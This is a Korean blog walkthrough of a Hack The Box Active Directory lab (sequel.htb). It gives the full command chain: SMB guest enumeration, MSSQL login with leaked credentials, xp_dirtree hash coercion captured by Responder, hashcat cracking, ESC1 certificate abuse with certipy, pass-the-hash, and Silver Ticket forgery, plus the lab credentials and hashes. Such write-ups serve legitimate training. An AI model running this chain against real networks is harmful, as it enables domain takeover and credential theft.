정보 수집 (Enumeration)

전체 포트를 빠르게 스캔했다. Kerberos(88)·LDAP(389)·SMB(445)에 더해 MSSQL(1433)이 열려 있는 전형적인 AD 도메인 컨트롤러다.

rustscan -a 10.129.98.209 -- -sC -sV -oN nmap
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-08 10:28:57Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49711/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49720/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

 

익명(guest) 계정으로 접근 가능한 SMB 공유를 확인했다.

smbmap -H 10.129.98.209 -u guest -p ''

 

Public 공유를 읽을 수 있다.

 

Public공유에서 받은 문서 SQL Server Procedures.pdf에는 MSSQL 접속 예시를 설명하고 있다. 그리고 해당 문서에 테스트용 계정의 자격증명이 그대로 적혀 있었다.

PublicUser: GuestUserCantWrite1

 

 

초기 침투 (MSSQL 인증 강제 → NetNTLMv2 크래킹)

획득한 PublicUser 자격증명으로 MSSQL 로그인이 가능한지 확인했다.

nxc mssql sequel.htb -u PublicUser -p 'GuestUserCantWrite1' --local-auth

 

로그인이 되는 것을 확인한 뒤, 대화형 SQL 쉘에 접속했다.

impacket-mssqlclient PublicUser:'GuestUserCantWrite1'@sequel.htb 

 

DB를 둘러봤지만 쓸 만한 정보는 없었다.

 

MSSQL의 xp_dirtree로 내 SMB 서버 경로를 조회하게 만들어, 서비스 계정의 인증을 강제로 끌어냈다.

xp_dirtree \\10.10.15.247\test

 

Responder를 띄워 두면 sql_svc의 NetNTLMv2 해시를 받아낼 수 있다.

서비스 계정이 내 SMB 서버로 인증을 시도하면서, 아래와 같은 NetNTLMv2 해시가 캡처됐다.

sudo responder -I tun0

sql_svc::sequel:5a24baef83906341:E90C4DB8ABD6452E95C1611E0DA919E3:0101000000000000801D3433166FDD017973A71C5BF931020000000002000800550053003800300001001E00570049004E002D003700300054005500370036003800560032004200350004003400570049004E002D00370030005400550037003600380056003200420035002E0055005300380030002E004C004F00430041004C000300140055005300380030002E004C004F00430041004C000500140055005300380030002E004C004F00430041004C0007000800801D3433166FDD0106000400020000000800300030000000000000000000000000300000D41CF2924F0CA1F18CF4A3855AFB796EC36EFB749763969D6B5B1C5C2EF0D8510A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003200340037000000000000000000

 

받아낸 해시를 hashcat으로 크랙했다.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt 

 

SQL_SVC: REGGIE1234ronnie

 

크랙한 패스워드로 WinRM에 접속해 sql_svc 쉘을 얻었다. 다만 sql_svc는 서비스 계정이라, user 플래그는 Ryan.Cooper로 넘어가야 읽을 수 있다.

evil-winrm -i sequel.htb -u SQL_SVC -p 'REGGIE1234ronnie'

 

 

수평 이동 (ERRORLOG.BAK)

sql_svc 쉘에서 사용자 디렉터리를 살펴보면 Administrator와 Ryan.Cooper 계정이 보인다.
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/7/2023   8:58 AM                Administrator
d-r---        7/20/2021  12:23 PM                Public
d-----         2/1/2023   6:37 PM                Ryan.Cooper
d-----         2/7/2023   8:10 AM                sql_svc

 

 

다음 단계로 Ryan.Cooper로 접근할 단서를 찾아야 한다.

 

C:\SQLServer\Logs\ 경로에 ERRORLOG.BAK 파일이 있다.

파일 내용에는 ID와 패스워드로 추정되는 정보가 남아 있다. 실패한 로그인 시도에서 사용자명 칸에 패스워드를 잘못 입력한 기록이 그대로 남은 것이다.

 

Ryan.Cooper: NuclearMosquito3

 

얻은 자격증명으로 Ryan.Cooper 쉘을 얻었다.

evil-winrm -i sequel.htb -u Ryan.Cooper -p 'NuclearMosquito3'

 

 

권한 상승 (ADCS ESC1)

Ryan.Cooper 권한으로 ADCS를 점검하니 ESC1에 취약한 인증서 템플릿이 확인된다.
certipy-ad find -u Ryan.Cooper@dc.sequel.htb -p 'NuclearMosquito3' -dc-ip 10.129.98.209 -vulnerable -stdout

 

sequel-DC-CA CA의 UserAuthentication 템플릿으로, Administrator UPN을 지정해 인증서를 요청했다.
certipy-ad req -u Ryan.Cooper@sequel.htb -p 'NuclearMosquito3' -ca sequel-DC-CA -target dc.sequel.htb -template UserAuthentication -upn Administrator@sequel.htb

 

발급받은 인증서로 Administrator의 NTLM 해시를 얻었다.

certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.98.209

 

실행 도중에 Clock skew too great 발생한다면 시간이 서로 안맞는 것이므로 dc ip와 시간을 동기화 해준다.

$ timedatectl set-ntp off # 시간 동기화 비활성화
$ rdate -n [DC-IP] # DC IP의 시간 정보 기반으로 동기화

 

획득한 NT 해시로 PtH 로그인에 성공했다.

evil-winrm -i sequel.htb -u Administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee 

 

 

대안 경로 (Silver Ticket)

다른 방법으로 sql_svc 서비스 계정을 획득했기 때문에 Silver Ticket을 이용하는 방법도 있다.

 

Silver Ticket을 위조하려면 도메인 SID가 필요하다. 현재 계정의 SID를 조회해, 끝의 RID(-1106)를 제외한 앞부분이 도메인 SID다.

Get-LocalUser -Name $env:USERNAME | Select sid

 

도메인 SID: S-1-5-21-4078382237-1492182817-2568127209

 

ticketer에는 서비스 계정의 NT 해시가 필요하다. 크랙으로 얻은 평문 패스워드(REGGIE1234ronnie)를 아래 사이트에서 NTLM 해시로 변환했다.

 

얻은 도메인 SID와 sql_svc의 NT 해시로, Administrator를 가장하는 실버 티켓을 발급했다.

impacket-ticketer -nthash 1443EC19DA4DAC4FFC953BCA1B57B4CF -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -dc-ip 10.129.98.209 -spn nonexistent/dc.sequel.htb Administrator

 

발급한 실버 티켓으로 MSSQL에 접속한다. -spn에 임의 값(nonexistent/...)을 써도 되는 것은, 서비스가 티켓을 자신의 키(sql_svc 해시)로 복호화만 하면 되고 SPN 문자열은 엄격히 검증하지 않기 때문이다.

export KRB5CCNAME=Administrator.ccache

impacket-mssqlclient -k dc.sequel.htb

 

MSSQL의 OPENROWSET(BULK)으로 파일을 직접 읽어 user.txt 와 root.txt 플래그를 확인할 수 있다.

SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents

SELECT * FROM OPENROWSET(BULK N'C:\users\Administrator\desktop\root.txt', SINGLE_CLOB) AS Contents

 

 

MSSQL에는 Administrator로 인증했지만, xp_cmdshell이 실행하는 OS 명령은 SQL Server 서비스 계정(sql_svc) 권한으로 동작한다. 그래서 Administrator 소유 파일에 접근하면 Access is denied가 뜬다.

 

서비스 계정으로 동작하는 만큼 SeImpersonatePrivilege를 갖고 있어, potato 계열 기법으로 Administrator 권한 쉘까지 얻을 수 있다.

'HTB' 카테고리의 다른 글

HTB - Cascade  (0) 2026.11.08
HTB - Support  (0) 2026.11.06
HTB - Jeeves  (0) 2026.11.04
HTB - Mailing  (0) 2026.11.02
HTB - Access  (0) 2026.11.01

+ Recent posts